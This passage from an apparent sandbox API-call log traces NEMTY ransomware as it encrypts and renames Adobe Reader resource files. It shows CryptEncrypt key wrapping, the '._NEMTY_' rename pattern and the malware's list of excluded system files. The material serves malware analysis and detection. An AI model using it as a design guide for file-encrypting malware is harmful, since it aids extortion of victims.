dwHighDateTime=0x1d561e8)) [0202.143] GetLastError () returned 0x5 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.143] GetLastError () returned 0x5 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.143] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.143] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.143] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0202.143] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="FLgJmO0wrxio61RV9qwr5OqGEnKypF6NBMVBF86UKVDJQT9Y/GVUpKGevFWDymde\r\npJ2A3hMb8Qmv3MIRJCPlKZTeKoyIpdhXmUBcmekIaHEhAqrGPH3K8uj7a/KxD/o2\r\nGIqSOBkSCc39RTdny/+hRsGld/OsfevrWy1rss3bN1VjEtWPr/3t16tYmavmccPa\r\nmNxPn2PF/CcTZk5czcKTWQuLJwhj2PayHq78Kmd/tfF+51CKqgzzWpZ2PmNtHaam\r\niqfEtSVJwrLM3WBdcIC8qBEcX0yYe660k+HsxC1rBUSj4kApm2h1p8DBPeavzfHd\r\nPr1TY53ku/76JkqZH/QQVg==\r\n", pcchString=0x653e91c) returned 1 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0202.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0202.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0202.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-mac"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.144] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.163] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.172] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.172] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.172] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.184] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.337] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.337] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.337] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.347] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.347] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.347] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.356] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.356] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.356] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.368] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.368] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.369] CloseHandle (hObject=0xffffffff) returned 0 [0202.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0202.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0202.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.369] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-mac"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-H-Mac._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-h-mac._nemty_kgobjgd_")) returned 0 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.369] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCms-UHC", cAlternateFileName="ADF15E~1")) returned 1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2=".") returned 1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="..") returned 1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="...") returned 1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="windows") returned -1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="$RECYCLE.BIN") returned 1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="rsa") returned -1 [0202.369] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="NTDETECT.COM") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="ntldr") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="MSDOS.SYS") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="IO.SYS") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="boot.ini") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="boot.ini") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="AUTOEXEC.BAT") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="ntuser.dat") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="desktop.ini") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="CONFIG.SYS") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="RECYCLER") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="BOOTSECT.BAK") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="bootmgr") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="programdata") returned -1 [0202.370] lstrcmpiW (lpString1="Adobe-Korea1-KSCms-UHC", lpString2="appdata") returned -1 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCms-UHC", lpUsedDefaultChar=0x0) returned 22 [0202.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCms-UHC", lpUsedDefaultChar=0x0) returned 22 [0202.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0202.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCms-UHC", lpUsedDefaultChar=0x0) returned 22 [0202.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-KSCms-UHC", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-KSCms-UHC", lpUsedDefaultChar=0x0) returned 22 [0202.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0202.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0202.371] Sleep (dwMilliseconds=0x5) [0202.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c4833f0, dwHighDateTime=0x1d561e8)) [0202.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c4833f0, dwHighDateTime=0x1d561e8)) [0202.397] GetLastError () returned 0x5 [0202.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.397] GetLastError () returned 0x5 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.398] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0202.398] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: 